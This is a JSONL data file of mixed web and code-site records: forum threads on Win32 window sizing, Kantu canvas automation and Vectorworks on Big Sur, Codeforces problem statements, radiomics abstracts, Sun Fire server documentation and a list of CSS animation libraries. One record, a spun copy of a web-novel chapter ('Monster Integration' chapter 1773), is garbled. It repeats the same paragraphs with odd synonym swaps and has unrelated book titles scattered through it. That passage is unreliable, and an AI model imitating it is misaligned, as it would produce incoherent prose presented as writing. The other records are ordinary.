{"text": "I am using NeHe’s Win32 framework for a setup/launcher app to be used for setup and launching of another OpenGL based application (just like Descent3’s launcher). I start the launcher, blit an image to the background, and draw selectable objects on top of the image that have various behaviors when clicked. All is well with just one problem …\nThe user can resize the window. I need to be able to restrict the window to the background image size of 640x480. Anyone know how to force a Win32 window to be a fixed size? I’m sure this won’t take more than a few lines of code but, having little Win32 app dev experience I don’t know where to look for help. I have searched the MSDN docs and found nothing suitable. Any help would be appreciated including keywords to search for and techniques.\nChange the window style. If you use the Nehe framework, then find CreateWindow (or CreateWindowEx) and change the third (or fourth) parameter to for example WS_POPUP or WS_OVERLAPPED (NOT the version with -WINDOW in behind, for ex. WS_OVERLAPPEDWINDOW, that will create the sizeable border). Have a look at this in MSDN, there are many other options for window style.\nThanks a lot that worked … here is my code :\ndwStyle = WS_BORDER|WS_CAPTION;\nAdjustWindowRectEx(&WindowRect, dwStyle, FALSE, dwExStyle);\n// Create The Window\nMessageBox(NULL,“Window Creation Error.”,“ERROR”,MB_OK|MB_ICONEXCLAMATION);\nI had to add an option for the close box …", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 351, "token_count_with_eod": 352, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "You have a Petri dish with bacteria and you are preparing to dive into the harsh micro-world. But, unfortunately, you don't have any microscope nearby, so you can't watch them.\n\nYou know that you have $$$n$$$ bacteria in the Petri dish and size of the $$$i$$$-th bacteria is $$$a_i$$$. Also you know intergalactic positive integer constant $$$K$$$.\n\nThe $$$i$$$-th bacteria can swallow the $$$j$$$-th bacteria if and only if $$$a_i > a_j$$$ and $$$a_i \\le a_j + K$$$. The $$$j$$$-th bacteria disappear, but the $$$i$$$-th bacteria doesn't change its size. The bacteria can perform multiple swallows. On each swallow operation any bacteria $$$i$$$ can swallow any bacteria $$$j$$$ if $$$a_i > a_j$$$ and $$$a_i \\le a_j + K$$$. The swallow operations go one after another.\n\nFor example, the sequence of bacteria sizes $$$a=[101, 53, 42, 102, 101, 55, 54]$$$ and $$$K=1$$$. The one of possible sequences of swallows is: $$$[101, 53, 42, 102, \\underline{101}, 55, 54]$$$ $$$\\to$$$ $$$[101, \\underline{53}, 42, 102, 55, 54]$$$ $$$\\to$$$ $$$[\\underline{101}, 42, 102, 55, 54]$$$ $$$\\to$$$ $$$[42, 102, 55, \\underline{54}]$$$ $$$\\to$$$ $$$[42, 102, 55]$$$. In total there are $$$3$$$ bacteria remained in the Petri dish.\n\nSince you don't have a microscope, you can only guess, what the minimal possible number of bacteria can remain in your Petri dish when you finally will find any microscope.", "source": "cpt_codeforces", "language": "en", "token_count": 453, "token_count_with_eod": 454, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Jamfiction fiction – Chapter 1773 – Final Stand I glamorous hanging suggest-p3\nNovel–Monster Integration–Monster Integration\nChapter 1773 – Final Stand I waves ambiguous\nEven though the Bloodline Furnace Potion is risky for those humans with Bloodline, it is actually all the more risky to those people without Bloodline.\nthe honorable miss\nOur tools clashed, and like before, she blasted off like a ragged doll that may be kicked too much.\nThe amount of time of your finished stand is here, if her Bloodline survived, it will make improvements beyond her thoughts, however, if it was unsuccessful, not alone her Bloodline are going to be burnt to ashes, but so is she.\nI glanced their way for just a moment ahead of I on target back about the struggle, despite numerous problems working during my thoughts relating to quick physical appearance.\nSecs pa.s.sed by, and Elina and failed to disappoint as her aura persisted to rise rapidly I needed to utilize increasingly more sturdiness to cope with her increasing energy.\nTales of Fantasy and Fact\nHer durability continues to be in the Emperor Phase, and unless it actually reaches the Tyrant Level, my physiological strength would be more than enough to take care of strikes h.e.l.l, regardless of whether it techniques the Tyrant, I should be able to contend with her without summoning my armor.\nvampire council of ethics – carinian’s seekers\n“In the event you can’t do this type of easy issue, i will likely need to help you neutralize the effectiveness of the potion,” I stated, a peek of big surprise sprang out in her eyes.\n5 minutes pa.s.sed by, as well as the potion starts to show its genuine strength. It obtained begun to overpower her Bloodline and attack her physique.\nThe potency of the potion is improving, and her Bloodline is simply not advancing rapid plenty of. If it ongoing, she are usually in great hassle.\nI will carry on and power her to advance even though she possessed started developing quickly, it really is nevertheless inadequate to counter the potion she is currently battling a giving up struggle, however if she kept evolving while using increasing velocity, she might be able to make it to the equilibrium along with the potion ahead of crus.h.i.+ng it.\nthe last miracle done by jesus\nSeeing that a smile couldn’t help but display on my facial area, though her development is just not ample to undo that problems as well as ceased it. She actually is generating improvement in a faster performance, and if it ongoing to take place, then she could possibly contend versus the potion on the individual.\nHer power still is throughout the Emperor Level, and unless it gets to the Tyrant Phase, my actual physical strength can be more than sufficient to take care of strikes h.e.l.l, regardless if it methods the Tyrant, I will contend with her without summoning my armour.\nSeeing that a grin couldn’t help but show on my facial area, though her growth will not be sufficient to undo that damages and even stopped it. She actually is making advancement at the faster pace, and in case it continued to occur, then she could possibly contend with the potion on her own.\nAs a result of armour, I really could not see very much, but from what I could see from the state of her sight, which seemed to have dried out and searched very frightening, her issue is now quite a whole lot worse. As opposed to her Bloodline, her system does not have the benefit it can burn to ashes well before her Bloodline could.\nOur tools clashed, and like just before, she blasted off like a ragged doll that may be kicked too difficult.\nHer toughness continues to be inside the Emperor Level, and unless it grows to the Tyrant Phase, my physical toughness could be more than sufficient to deal with assaults h.e.l.l, even though it options the Tyrant, I is able to cope with her without summoning my armor.\nI glanced their way for a second right before I on target back about the challenge, in spite of a lot of concerns working in my mind about their quick visual appearance.\nConsidering that a grin couldn’t support but show up on my facial area, even though her advance is just not ample to undo that damage or maybe discontinued it. She actually is making progress at the faster rate, and in case it continuing to happen, then she might be able to contend resistant to the potion on the possess.\nA few minutes pa.s.sed by, and also the potion begins to demonstrate its true toughness. It experienced begun to overpower her Bloodline and infiltration her system.\nHistory of Morgan’s Cavalry\nA few minutes pa.s.sed by, and also the potion begins to show its real sturdiness. It had started to overpower her Bloodline and episode her physique.\nthere and back again a hobbit’s tale\nThe time of your finished stand up has arrived, if her Bloodline survived, it might make progress beyond her creative imagination, but if it been unsuccessful, but not only her Bloodline are going to be burned up to ashes, but so is she.\nOur weapons clashed, and like ahead of, she blasted off like a ragged doll that could be kicked too hard.\nthe curse of a stranger gifts\nOur weaponry clashed, and like ahead of, she blasted off just like a ragged doll that is kicked too rigorous.\nI persisted striking her, taunting her, forcing her to look out more of her possible ways to combat with the power of the potion, and she is carrying out excellent, yet it is still inadequate she will need to do much better if she would like to thrive.\nthe final protectors\nHer energy remains to be within the Emperor Period, and unless it reaches the Tyrant Period, my actual energy will be ample to manage episodes h.e.l.l, even if it options the Tyrant, I will take care of her without summoning my armor.\nHer strike was rapid and brimming with durability, and seeing the distance we had been ranking, her sword shown up next to me right away. There was not really sign of surprise in doing my sight as a substitute, I simply let out a have a good laugh, and before my have fun even concluded, my sword showed up next to hers.\nThe Cosmic Elemental Energies I had acquired in the twins have granted a big increse in ability without stuffing a single hexagonal cube. My existing toughness is comparable to the Above common Tyrant, which is shocking, experiencing I am nonetheless an Emperor.\nHer strike was speedy and loaded with durability, to see the space we had been standing, her sword appeared near to me immediately. There seemed to be not a touch of astonish inside my vision preferably, I enable out a have a good laugh, and right before my have fun even complete, my sword made an appearance adjacent to hers.\nSection 1773 – Ultimate Endure I", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 1444, "token_count_with_eod": 1445, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Open an Internet Browser (Google Chrome is recommended) and go to https://lucidity365.com\nEnter your organisations Lucidity 365 workspace name (typically your company name or domain).\nEnter your Microsoft 365 username and password to sign into your account.\nIf you are logging in on a new/different device, the first time you open a Single Sign-On app, you will be prompted to install the My Apps Secure Sign-In Extension.\nClick Install Now (it should only take a couple of seconds).\nYou will be directed to the Chrome Web Store to install the My Apps Secure Sign-In Extension.\nClick Add to Chrome.\nClick Add Extension.\nThis extension is required to launch specific applications which use Single Sign-On as the method to authenticate.\nWhen the extension has been successfully installed you will see a blue square icon in the top right-hand corner of your Chrome browser like below:", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 190, "token_count_with_eod": 191, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Using Kantu, how can we DragandDrop a specific draggable element at specific location in HTML canvas? please provide insight\nHow does your canvas look? A screenshot would be helpful.\nTimo , Thanks for the consideration\nPlease find the details\nEntire canvas is a single object and xpath= //*[@id=“drawing-diagram”]/canvas and doesn’t expose any element.\nWe have to drag an item from left list to canvas\nXClick can do this. You can identify the the object visually (via its image) or via its displayed name (e. g. the word “Decoders” on the left hand side). For name text recognition the OCR feature is used, see XClick | ocr=Decoders\nThe “DemoXClick” macro that ships with Kantu shows how the canvas test automation works.\nIf this is a public website, I can create a short demo macro for you.\nThanks for the reply with details. I am able to drag and drop but it drops all items to the left top corner of the canvas regions. but my question was how to drop to specific (X,Y) region of the canvas (black region)?\nOnce again thanks for your consideration\nhow to drop to specific (X,Y) region of the canvas (black region)?\nIn general the easiest method to click inside a canvas is to find a certain image or text inside the canvas (= just like @Timo suggested). This works well, for example, on a maps canvas. But from your screenshot I understand that your canvas is all black, so there is no image or text to search for.\nFor your black canvas you can use these methods:\nXClick | x,y- If you know the coordinates that you want to click on, you can use them directly as input for XClick. x,y are in browser coordinates, so the top left point in the viewport is 0,0.\nXClick | image_relative.png- If you don’t know the coordinates you can use image search with relative clicks. “Relative” means that Kantu finds an image (the content of the green box) and then clicks inside the pink box relative to it. You can draw these boxes either with the Kantu built-in editor or any other drawing software. Kantu’s image recognition finds the boxes from their color.\nBoth methods are used in the “DemoCanvas” macro that ships with Kantu.\nOf course the anchor image (green box) can also be an image outside of the canvas, something that is on the website nearby.\nUnforunately it didn’t work with Xclick. However dragAndDropToObject function worked to drop however only into one place not to specified XY coordinates. .\nCan you provide me sample syntax to DragandDrop with following source and destination\nDrap element link=MB4 or Image.png and drop to xpath= //*[@id=“drawing-diagram”]/canvas or canvas.png with X,Y coordinates\nPlease let me know if you found any solution for the above scenario\nI am 99% sure the XClick method will work. If you can give me access to the website I can create a quick demo. You can email us the URL, if you prefer.\nUnfortunately it is an internal application and will not be access it from out side. Let me know if we can have an online session on coming Monday IST evening your time?\nThat will work. Please contact us directly to discuss the best time for the online session. Tech support is located in Europe (GMT + 1). In your email, just mention this forum post.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "|author||Paladox none <email@example.com>||Mon Aug 02 00:31:59 2021 +0000|\n|committer||Paladox none <firstname.lastname@example.org>||Tue Aug 03 23:29:31 2021 +0000|\nImprove performance in the editor We stop setting viewportMargin and instead use the default value. We also add support for the inbuilt search support within codemirror. This is because with the removal of viewportMargin you cannot use the browsers search to search for the code. In my view i think this is a good trade off as you'll still be able to search using the codemirror searching support whilst improving performance for large documents. In GWTUI we didn't set viewportMargin. Bug: Issue 14845 Change-Id: I84f12168c4784cf40ca102f025b7805b44bc9d9a\nA plugin that uses CodeMirror to provide a rich code editing experience in PolyGerrit.\nThis plugin is rewritten into Polymer 3 syntax. The\ngr-editor.js is the main entry for the plugin.\nBut to support the lazy load on the\ncodemirror with supported languages, we still have the\ncodemirror-element.html as an asset which still built separately as an html.\nWe may consider drop the selectively language support and in favor of all-in-one bundle in the future or change build rule to support bundle\njs to move off of the html completely.\nTo run UI tests here will need install dependencies from both npm and bower.\nnpm run wct-test should take care both for you, read more in\nYou will need\npolymer-bridges which is a submodule you can clone from: https://gerrit-review.googlesource.com/admin/repos/polymer-bridges\nAs polymer 3 no longer support\nPolymer.importHref anymore, this plugin still supports it through a custom implementation in\nbazel build :codemirror_editor\ngerrit/plugins/codemirror-editor/folder and it will automatically served at\nIf your plugin is already enabled, then you can block it and then inject the compiled local verison.\nSee more about how to use dev helper extension to help you test here: https://gerrit.googlesource.com/gerrit-fe-dev-helper/+/master", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 525, "token_count_with_eod": 526, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Radiomics uses quantitative medical imaging features to predict clinical outcomes. While many radiomics methods have been described in the literature, these are generally designed for a single application. The aim of this study is to generalize radiomics across applications by proposing a framework to automatically construct and optimize the radiomics workflow per application. To this end, we formulate radiomics as a modular workflow, consisting of several components: image and segmentation preprocessing, feature extraction, feature and sample preprocessing, and machine learning. For each component, a collection of common algorithms is included. To optimize the workflow per application, we employ automated machine learning using a random search and ensembling. We evaluate our method in twelve different clinical applications, resulting in the following area under the curves: 1) liposarcoma (0.83); 2) desmoid-type fibromatosis (0.82); 3) primary liver tumors (0.81); 4) gastrointestinal stromal tumors (0.77); 5) colorectal liver metastases (0.68); 6) melanoma metastases (0.51); 7) hepatocellular carcinoma (0.75); 8) mesenteric fibrosis (0.81); 9) prostate cancer (0.72); 10) glioma (0.70); 11) Alzheimer's disease (0.87); and 12) head and neck cancer (0.84). Concluding, our method fully automatically constructs and optimizes the radiomics workflow, thereby streamlining the search for radiomics biomarkers in new applications. To facilitate reproducibility and future research, we publicly release six datasets, the software implementation of our framework (open-source), and the code to reproduce this study.\nDistinguishing gastrointestinal stromal tumors (GISTs) from other intra-abdominal tumors and GISTs molecular analysis is necessary for treatment planning, but challenging due to its rarity. The aim of this study was to evaluate radiomics for distinguishing GISTs from other intra-abdominal tumors, and in GISTs, predict the c-KIT, PDGFRA,BRAF mutational status and mitotic index (MI). All 247 included patients (125 GISTS, 122 non-GISTs) underwent a contrast-enhanced venous phase CT. The GIST vs. non-GIST radiomics model, including imaging, age, sex and location, had a mean area under the curve (AUC) of 0.82. Three radiologists had an AUC of 0.69, 0.76, and 0.84, respectively. The radiomics model had an AUC of 0.52 for c-KIT, 0.56 for c-KIT exon 11, and 0.52 for the MI. Hence, our radiomics model was able to distinguish GIST from non-GISTS with a performance similar to three radiologists, but was not able to predict the c-KIT mutation or MI.\nWe focus on the problem of training convolutional neural networks on gigapixel histopathology images to predict image-level targets. For this purpose, we extend Neural Image Compression (NIC), an image compression framework that reduces the dimensionality of these images using an encoder network trained unsupervisedly. We propose to train this encoder using supervised multitask learning (MTL) instead. We applied the proposed MTL NIC to two histopathology datasets and three tasks. First, we obtained state-of-the-art results in the Tumor Proliferation Assessment Challenge of 2016 (TUPAC16). Second, we successfully classified histopathological growth patterns in images with colorectal liver metastasis (CLM). Third, we predicted patient risk of death by learning directly from overall survival in the same CLM data. Our experimental results suggest that the representations learned by the MTL objective are: (1) highly specific, due to the supervised training signal, and (2) transferable, since the same features perform well across different tasks. Additionally, we trained multiple encoders with different training objectives, e.g. unsupervised and variants of MTL, and observed a positive correlation between the number of tasks in MTL and the system performance on the TUPAC16 dataset.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "This is the hard version of the problem. The difference between the versions is that in the easy version all prices $$$a_i$$$ are different. You can make hacks if and only if you solved both versions of the problem.\n\nToday is Sage's birthday, and she will go shopping to buy ice spheres. All $$$n$$$ ice spheres are placed in a row and they are numbered from $$$1$$$ to $$$n$$$ from left to right. Each ice sphere has a positive integer price. In this version, some prices can be equal.\n\nAn ice sphere is cheap if it costs strictly less than two neighboring ice spheres: the nearest to the left and the nearest to the right. The leftmost and the rightmost ice spheres are not cheap. Sage will choose all cheap ice spheres and then buy only them.\n\nYou can visit the shop before Sage and reorder the ice spheres as you wish. Find out the maximum number of ice spheres that Sage can buy, and show how the ice spheres should be reordered.", "source": "cpt_codeforces", "language": "en", "token_count": 204, "token_count_with_eod": 205, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Individual differences |\nMethods | Statistics | Clinical | Educational | Industrial | Professional items | World psychology |\nA logistic function or logistic curve models the S-curve of growth of some set P. The initial stage of growth is approximately exponential; then, as saturation begins, the growth slows, and at maturity, growth stops.\nAs shown below, the untrammeled growth can be modelled as a rate term +rKP (a percentage of P). But then, as the population grows, some members of P (modelled as −rP2) interfere with each other in competition for some critical resource (which can be called the bottleneck, modelled by K). This competition diminishes the growth rate, until the set P ceases to grow (this is called maturity).\nA logistic function is defined by the mathematical formula:\nAn important application of the logistic function is in the Rasch model, used in item response theory. In particular, the Rasch model forms a basis for maximum likelihood estimation of the locations of objects or persons on a continuum, based on collections of categorical data, for example the abilities of persons on a continuum based on responses that have been categorized as correct and incorrect.\nThe Verhulst equation\nA typical application of the logistic equation is a common model of population growth, which states that:\n- the rate of reproduction is proportional to the existing population, all else being equal\n- the rate of reproduction is proportional to the amount of available resources, all else being equal. Thus the second term models the competition for available resources, which tends to limit the population growth.\nLetting P represent population size (N is often used in ecology instead) and t represent time, this model is formalized by the differential equation:\nwhere the constant defines the growth rate and is the carrying capacity. In ecology, species are sometimes referred to as r-strategist or K-strategist depending upon the selective processes that have shaped their life history strategies. The solution to the equation (with being the initial population) is\n- Main article: sigmoid function\nThe special case of the logistic function with a = 1, m = 0, n = 1, τ = 1, namely\nis called sigmoid function or sigmoid curve. The name is due to the sigmoid shape of its graph. This function is also called the standard logistic function and is often encountered in many technical domains, especially in artificial neural networks as a transfer function, probability, statistics, biomathematics, mathematical psychology and economics.\nProperties of the sigmoid function\nThe (standard) sigmoid function is the solution of the first-order non-linear differential equation\nwith boundary condition P(0) = 1/2. Equation (2) is the continuous version of the logistic map.\nThe sigmoid curve shows early exponential growth for negative t, which slows to linear growth of slope 1/4 near t = 0, then approaches y = 1 with an exponentially decaying gap.\nThe logistic function is the inverse of the natural logit function and so can be used to convert the logarithm of odds into a probability; the conversion from the log-likelihood ratio of two alternatives also takes the form of a sigmoid curve.\nVerhulst derived his logistic equation to describe the self-limiting growth of a biological population. The equation is also sometimes called the Verhulst-Pearl equation following its rediscovery in 1920. Alfred J. Lotka derived the equation again in 1925, calling it the law of population growth.\n- Kingsland, S. E. (1995) Modeling nature ISBN 0-226-43728-0\n- MathWorld: Sigmoid Function\n- Modeling Market Adoption in Excel with a simplified s-curve\n|This page uses Creative Commons Licensed content from Wikipedia (view authors).|", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 797, "token_count_with_eod": 798, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "In preparation for the social lunch on Sunday, December 7, you may want to refresh your memory on faces and names of other members of our group. The up-to-date Directory is ready for download in Members Only section of our g2g website, and so is a page (updated today) with the photos and names of members who have joined during 2014. Click on this link below, with your password in mind:\nSee you there!\nposted by Eileen Dombrowski", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 103, "token_count_with_eod": 104, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "A famous gang of pirates, Sea Dogs, has come back to their hideout from one of their extravagant plunders. They want to split their treasure fairly amongst themselves, that is why You, their trusted financial advisor, devised a game to help them:\n\nAll of them take a sit at their round table, some of them with the golden coins they have just stolen. At each iteration of the game if one of them has equal or more than 2 coins, he is eligible to the splitting and he gives one coin to each pirate sitting next to him. If there are more candidates (pirates with equal or more than 2 coins) then You are the one that chooses which one of them will do the splitting in that iteration. The game ends when there are no more candidates eligible to do the splitting.\n\nPirates can call it a day, only when the game ends. Since they are beings with a finite amount of time at their disposal, they would prefer if the game that they are playing can end after finite iterations, and if so, they call it a good game. On the other hand, if no matter how You do the splitting, the game cannot end in finite iterations, they call it a bad game. Can You help them figure out before they start playing if the game will be good or bad?", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "You are given an strictly convex polygon with n vertices. It is guaranteed that no three points are collinear. You would like to take a maximum non intersecting path on the polygon vertices that visits each point at most once.\n\nMore specifically your path can be represented as some sequence of distinct polygon vertices. Your path is the straight line segments between adjacent vertices in order. These segments are not allowed to touch or intersect each other except at the vertices in your sequence.\n\nGiven the polygon, print the maximum length non-intersecting path that visits each point at most once.", "source": "cpt_codeforces", "language": "en", "token_count": 115, "token_count_with_eod": 116, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "I'm really struggling with the following problem. Do you have any pointers on how I would be able to go about solving it numerically? It is a partial differential equation.\ndC/dt = A d2C/dz2 - B dC/dz\nA and B are constants.\nI am unsure how to go about solving it when there are three variables. The idea of the equation is to plot concentration against time in a packed bad adsorber.\nAny help would be greatly appreaciated.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "When you purchase a subscription your credit card gets charged once only and this then enables the subscription for the entire period.\nOur subscriptions are NOT automatically renewed, so there is no need to actually cancel the subscription. Instead you will get notified of the expiry a month before the subscription ends and you can then decide to subscribe again or simply do nothing and let the subscription expire.\nIf you let the subscription expire the software will automatically turn into a \"viewer\", which means that you can view your documents but can no longer save them.\nIf you decide that you want to renew the subscription you can simply come to our website and purchase another subscription license key and then enter it into the program using the Licensing Wizard.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "— Jim Groom (@jimgroom) July 10, 2020\nJust like Captain Caveman and Jabberjaw, Tommaso and I are boiling the ocean! This is another installment of Tommaso’s exploration of game development, and he had the idea to turn this into a regular game development log update, so this is log update 0 (not sure why he wanted to start at zero, but he’s in charge). This video was a manageable 20 minutes, and it gives you a pretty good idea of how locked in he is to created the Megashark game in Unity. It features him showing off the bi-plane dropping bombs on the shark, the game physics that make it possible, and some on and off banter as he is easily distracted from the task at hand.\nI have to say doing this is a total blast, and just a few short days after hatching the shark game idea he is really running with it. I am liking his vision of it a lot, and it got me thinking there could be a USS Indianapolis plot line we could take advantage of, but Tommaso is sage in his reservations given potential historical backlash. I’m excited to see where this does, and doing a vlog like this with one of my kids is kind of a dream come true 🙂", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Everything posted by CnHSolar\nIssues solved, the system volume was behaving as though it was case sensitive, even though the volume info said \"case sensitive no\". The whole \"case sensitive\" volume thing is kind of odd to say the least. I found another post on the forum that mentioned the same error I'd encountered, which prompted me to to check the my system volume. I confirmed the disk was acting as though it was case sensitive. I was able to create a file \"FRED\" and another file \"fred\" in the same directory. I reformatted the drive -- APFS non-case sensitive, reinstalled Big Sur Public Beta, a couple other apps and then VW 2021 SP-1 and it's working well. In regards to Security & Privacy system settings I see VW 2021 Installer having full disk access but find no other entries for VW in the Privacy tab. Thank you for your help.\nThank you -- I did some digging on the security features and found what you mentioned about the access control per application, sadly -- see below Vectorworks 2021 was not listed in the access control list -- I added it -- granting full access to Vectorworks and even to the other supplied apps in the VW 2021 folder, but no luck. I'm still getting the same message. It does not appear to make any difference if I grant full access or just files and folders. I did not see any mention of allowing access during any of the installs I've done ? I'm curious what settings for that access you have enabled on your Mac Thanks\nIn preparation for upgrading from 10.14 Mojave I figured I'd try to jump to Big Sur, so I've installed the public beta 11.0, (20A5395g ) on a fresh disk, do a clean install, yes painful but I'd like leave 7 years of accumulated stuff behind and start fresh. Installed 2021 SP1 and had no issued during the install but it won't run. I get this message I've reinstalled, and thinking it was having issues with the install on my other drive, Mojave, (which is working fine). I had only the clean install of Big Sur drive mounted. Vectorworks 26.0.1 in installed in the Application/Vectorworks 2021 folder -- nothing moved, license registered, but still .... I called support and was told they don't support Big Sur -- but if they have posted news and created a thread here, how do they expect to get some feed back ? Thank you Yes, this is my first post here", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Cost-Effective Low-Power Consumption Solution\nSparkLAN WPEA-156GN is an 802.11n Single-Band Half PCI Mini Card based on Atheros AR9485 chipset. This wireless Mini PCI express runs up to 150Mbps, targeting at the growing computing products marketing with 150Mbps rate. By incorporating Atheros Align Technology, it improves the throughput, enhances Wi-Fi coverage, and extends battery life.\nSupport Wi-Fi Direct\nAtheros AR9485 chipset uses Atheros Direct Connect peer-to-peer technology, which enables your device that is embedded with WPEA-156GN to easily connect with other Wi-Fi enabled devices or peripherals.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 150, "token_count_with_eod": 151, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "27. Fear not on seeing this empty world, which appears as a dream in the sleep of Self-forgetfulness. This imaginary and bondage-causing world-picture, [pro- jected on the background] of the dark, dense mind, will not stand in the light of Supreme Knowledge, Sat-Chit-Ananda.\n28. O aspirants who hide yourselves away fearing this world, nothing such as a world exists! Fearing this false world which appears to exist, is like fearing the false snake which appears in a rope.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 110, "token_count_with_eod": 111, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "|C H A P T E R 1|\nThis chapter introduces the features for the Sun Fire family of entry-level midrange servers-the E2900/V1280/Netra 1280 systems.The objective of this chapter is to provide you with a basic understanding of the features of Sun Fire entry-level midrange systems.\nThe procedural overview of how to set up your system, and detailed procedures, is covered in Chapter 2.\nThe System Controller is an embedded system resident on the IB_SSC Assembly which connects to the system baseplane. The system controller is responsible for providing the Lights Out Management (LOM) functions which include power on sequencing, sequencing module power on self tests (POST), environmental monitoring, fault indication and alarms.\nThe System Controller provides an RS232 serial interface and one 10/100 Ethernet interface. Access to the LOM command line interface and the Solaris/OpenBoot PROM console is shared and obtained through these interfaces.\nSystem Controller functions include:\nThe software application running on the System Controller provides a command line interface for you to modify system settings.\nThe following ports are on the rear of the system:\nTheir locations are shown in FIGURE 1-1.\nThe console serial port and 10/100 Ethernet port can be used to access the System Controller.\nUse the console serial port to connect directly to an ASCII terminal or a NTS (network terminal server). Connecting the System Controller board with a serial cable enables you to access the System Controller command line interface with an ASCII terminal or an NTS.\nUse the 10/100 Ethernet port to connect the System Controller to the network.\nThe LOM prompt provides the command line interface for the System Controller. It is also the place where console messages are displayed.\nThe prompt is:\nSome of the system management tasks are shown in TABLE 1-1.\nIf the Solaris operating environment, the OpenBoot PROM, or POST is running, you can access the Solaris console. When you connect to the Solaris console, you will be in one of the following modes of operation:\nTo switch between these prompts and the LOM prompt, refer to Switching Between the Different Consoles.\nThere are sensors that monitor temperature, voltage, and cooling.\nThe System Controller polls these sensors in a timely manner and makes the environmental data available. If necessary, the System Controller shuts down various components to prevent damage.\nFor instance, in the case of an overtemperature, the System Controller notifies the Solaris operating environment of the overtemperature and the operating environment takes action. In the case of extreme overtemperature, the System Controller software can shut down the system without first notifying the operating environment.\nThe system indicator board contains the On/Standby switch and indicator LEDs as shown in FIGURE 1-2.\nThe indicator LEDs function as shown in TABLE 1-2.\nReliability, availability, and serviceability (RAS) are features of this system. The descriptions of these features are:\nThe following sections provide details on RAS. For more hardware-related information on RAS, refer to the Sun Fire E2900 System Service Manual or Sun Fire V1280/Netra 1280 Service Manual, as appropriate. For RAS features that involve the Solaris operating environment, refer to the Sun Hardware Platform Guide.\nThe software reliability features include:\nThe reliability features also improve system availability.\nThe power-on self-test (POST) is part of powering on the system. If the board or component failed testing, POST disables components or boards. The showboards command displays the board as either being failed or degraded. The system, running the Solaris operating environment, is booted only with components that have passed POST testing.\nThe system controller provides component-level status and user-controlled modification of component status.\nSet the component location status by running the setls command from the console. The component location status is updated at the next domain reboot, board power cycle, or POST execution (for example, POST is run whenever you perform a setkeyswitch on or off operation).\nNote - The enablecomponent and disablecomponent commands have been replaced by the setls command. These commands were formerly used to manage component resources. While the enablecomponent and disablecomponent commands are still available, it is suggested that you use the setls command to control the configuration of components into or out of the system.\nThe showcomponent command displays status information about the component, including whether or not it has been disabled.\nThe System Controller monitors the system's temperature, cooling, and voltage sensors. The System Controller provides the latest environmental status information to the Solaris operating environment. If hardware needs to be powered off, the System Controller notifies the Solaris operating environment to perform a system shutdown.\nThe software availability features include:\nThe following components can be dynamically reconfigured:\nOn recovery from a power outage, the System Controller attempts to restore the system to its previous state.\nThe System Controller can be rebooted and will start up and resume management of the system. The reboot does not disturb the currently running Solaris operating environment.\nThe System Controller monitors the state of the Solaris operating environment and will initiate a reset if Solaris stops responding.\nThe software serviceability features promote the efficiency and timeliness of providing routine as well as emergency service to the system.\nAll field-replaceable units (FRUs) that are accessible from outside the system have LEDs that indicate their state. The System Controller manages all the LEDs in the system, with the exception of the power supply LEDs, which are managed by the power supplies. For a discussion of LED functions, refer to the appropriate board or device chapter of the Sun Fire E2900 System Service Manual or Sun Fire V1280/Netra 1280 Service Manual, as appropriate.\nThe System Controller, the Solaris operating environment, the power-on self-test (POST), and the OpenBoot PROM error messages use FRU name identifiers that match the physical labels in the system. The only exception is the OpenBoot PROM nomenclature used for I/O devices, which use the device path names as described in Chapter 8, to indicate I/O devices during device probing.\nSystem Controller error messages are automatically notified to the Solaris operating environment. The System Controller also has an internal buffer where error messages are stored. You can display the System Controller logged events, stored in the System Controller message buffer, by using the showlogs command.\nThe System Controller reset command enables you to recover from a hung system and extract a Solaris operating environment core file..", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "CSS3 3D animation library\nA collection of dialog animations with React.js\nCSS animations with a soul\nSuper-smooth CSS3 transformations and transitions for jQuery\nA collection of CSS3 powered hover effects to be applied to links, buttons, logos, SVG, featured images and so on. Easily apply to your own elements, modify or just use for inspiration. Available in CSS, Sass, and LESS.\n:bicyclist: Animate specification and components of Ant Design\nA library for pretty shadows.\nLibrary for transition animations between blocks (pages) in the application.\nA tiny 60+fps parallax tilt hover effect for jQuery.\nA Scaleable & Light Image Hover CSS Library\nCanvas Advanced Animation Toolkit\n:zap: A very easy-to-use, blazing fast asset-loader using promises. Support older-browsers and preload images, audios and videos.\nThe jQuery plugin for magical scroll interactions.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
